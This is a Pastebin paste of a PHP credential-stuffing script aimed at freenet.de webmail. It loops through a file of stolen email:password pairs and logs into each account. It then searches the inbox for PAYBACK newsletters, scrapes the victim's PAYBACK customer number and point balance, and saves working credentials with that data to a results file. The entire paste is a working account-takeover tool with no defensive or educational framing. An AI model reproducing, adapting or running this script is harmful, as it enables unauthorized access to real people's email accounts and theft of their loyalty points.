Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- function login($mail, $pass) {
- unlink("cookies");
- $ch = curl_init("https://auth.freenet.de/portal/login.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- "username=$mail&password=$pass&passtext=Passwort&world=2&cbi=logMail&callback=https%3A%2F%2Fwebmail.freenet.de%2Flogin%2Findex.html");
- curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_exec($ch);
- curl_close($ch);
- if(file_get_contents("cookies") == "") {
- return "INVALID";
- } else {
- return "OK";
- }
- }
- function getCookies() {
- $cookies = file_get_contents("cookies");
- unlink("cookies2");
- $ch = curl_init("https://webmail.freenet.de/login/index.html");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies");
- curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies2");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_exec($ch);
- curl_close($ch);
- if(file_get_contents("cookies2") == "") {
- return "INVALID";
- } else {
- return "OK";
- }
- }
- function searchEmail($mail) {
- $ch = curl_init("https://webmail.freenet.de/Email/Action/SearchMessages");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- "account=$mail&folder=ALL&startview=1&callType=ajax&searchStr=newsletter@payback.de&searchOpts=subjectAndFrom&viewType=0");
- curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies2");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
- $res = curl_exec($ch);
- curl_close($ch);
- if(preg_match("/noResult/", $res)) {
- return "INVALID";
- }
- $json = json_decode($res, TRUE);
- if(isset($json["tbody"][0]["rowID"])) {
- return $json["tbody"][0]["rowID"];
- }
- return "INVALID";
- }
- function scrapeInfo($mail, $id) {
- $ch = curl_init("https://webmail.freenet.de/Email/View/Body?callType=html&account=$mail&xTdResult=&msg=$id&folder=INBOX&showImages=0&inboxAdId=0");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies2");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
- $res = curl_exec($ch);
- curl_close($ch);
- preg_match("/>Ihre PAYBACK Kundennummer: (\d+)(<\/span>|)<\/td>/", $res, $nummer);
- preg_match("/color: #fff;\".*>(\d+([,.]\d+)?)<\/td>/", $res, $punkte);
- return array($nummer[1], $punkte[1]);
- }
- $file = fopen("mails.txt", "r");
- $valid = 0;
- $invalid = 0;
- $countTotal = 0;
- while(!feof($file)) {
- $mailInfo = explode(":", fgets($file));
- $mail = $mailInfo[0];
- $pass = rtrim($mailInfo[1]);
- $login = login($mail, $pass);
- $count++;
- if($login == "OK") {
- $cookies = getCookies();
- if($cookies == "OK") {
- $emailID = searchEmail($mail);
- if($emailID != "INVALID") {
- $info = scrapeInfo($mail, $emailID);
- $nummer = $info[0];
- $punkte = $info[1];
- if(($nummer != "") && ($punkte != "")) {
- file_put_contents("success.txt", $mail.":".$pass.":".$nummer.":".$punkte."\r\n", FILE_APPEND);
- echo $count." -- Account found! -> ".$mail.":".$pass.":".$nummer.":".$punkte."\n";
- $valid++;
- } else {
- if(($nummer == "") && ($punkte == "")) {
- file_put_contents("noemails.txt", $mail.":".$pass."\r\n", FILE_APPEND);
- echo $count." -- Account has no emails from payback! -> ".$mail.":".$pass."\n";
- $invalid++;
- } else {
- file_put_contents("readerror.txt", $mail.":".$pass.":".$nummer.":".$punkte."\r\n", FILE_APPEND);
- echo $count." -- Failed to read the points/acc id! -> ".$mail.":".$pass.":".$nummer.":".$punkte."\n";
- $invalid++;
- }
- }
- unlink("cookies");
- unlink("cookies2");
- } else {
- file_put_contents("noemails.txt", $mail.":".$pass."\r\n", FILE_APPEND);
- echo $count." -- Account has no emails from payback! -> ".$mail.":".$pass."\n";
- unlink("cookies");
- unlink("cookies2");
- $invalid++;
- }
- } else {
- file_put_contents("loginfail.txt", $mail.":".$pass."\r\n", FILE_APPEND);
- echo $count." -- Account LOGIN fail! -> ".$mail.":".$pass."\n";
- $invalid++;
- unlink("cookies");
- unlink("cookies2");
- }
- } else {
- file_put_contents("loginfail.txt", $mail.":".$pass."\r\n", FILE_APPEND);
- echo $count." -- Account LOGIN fail! -> ".$mail.":".$pass."\n";
- $invalid++;
- unlink("cookies");
- unlink("cookies2");
- unlink("cookies");
- unlink("cookies2");
- }
- }
- fclose($file);
- echo "Done!\nValid: ".$valid."\nInvalid: ".$invalid."\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement